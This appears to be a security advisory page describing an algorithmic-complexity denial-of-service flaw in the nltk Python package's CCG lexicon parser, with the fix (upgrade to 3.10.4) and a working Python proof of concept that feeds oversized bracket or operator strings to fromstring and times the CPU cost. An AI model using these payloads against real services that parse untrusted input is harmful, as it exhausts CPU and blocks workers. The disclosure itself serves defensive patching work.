Inefficient Algorithmic Complexity Affecting nltk package, versions [,3.10.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.58% (49th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549639
  • published14 Nov 2026
  • disclosed14 Nov 2026
  • creditmanus-use

Introduced: 14 Nov 2026

NewCVE-2026-126299  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via quadratic-time string processing in nltk.ccg.lexicon.fromstring (also reachable as nltk.ccg.chart.fromstring). The matchBrackets function re-slices the remaining input string on every character iteration (rest = rest[1:]), and augParseCategory re-copies the regex match tail on every operator step, both producing O(n^2) CPU cost. An attacker who can supply a large CCG lexicon string - either with a wide flat bracket body or a long operator chain - causes sustained single-threaded CPU exhaustion, blocking the parsing worker for tens of seconds per few-megabyte payload. The existing MAX_PARSE_DEPTH recursion guard does not protect against these flat-input quadratic paths.

PoC

Environment: nltk 3.10.3, regex 2026.9.10, CPython. Run the parser on the shipped public API.
import nltk.ccg.lexicon as L

# Vector A: flat bracket body -> matchBrackets tail re-slice is O(n^2)
n = 400000
lex_a = ":- S\nw => (" + "a" * n + ")\n"

# Vector B: long operator chain -> augParseCategory tail re-copy is O(n^2)
m = 32000
lex_b = ":- a\nw => " + "a" + "/a" * m + "\n"

import time
for name, s in (("A", lex_a), ("B", lex_b)):
    t = time.perf_counter()
    try:
        L.fromstring(s)
    except Exception:
        pass  # downstream parse error is irrelevant; the CPU is already burned
    print(name, round(time.perf_counter() - t, 3), "s")
Negative control (":- a\nw => (a/a)"):   ~0.00007 s
Vector A (matchBrackets, flat body):     n=50k 0.078s | 100k 0.260s | 200k 1.046s | 400k 2.083s   (~4x per doubling => O(n^2))
Vector B (augParseCategory, operators):  m=4k 0.078s | 8k 0.215s | 16k 0.485s | 32k 1.329s        (super-linear)

Note: The PoC states it runs on nltk 3.10.3, regex 2026.9.10, and CPython with no further environment constraints.

CVSS Base Scores

version 4.0
version 3.1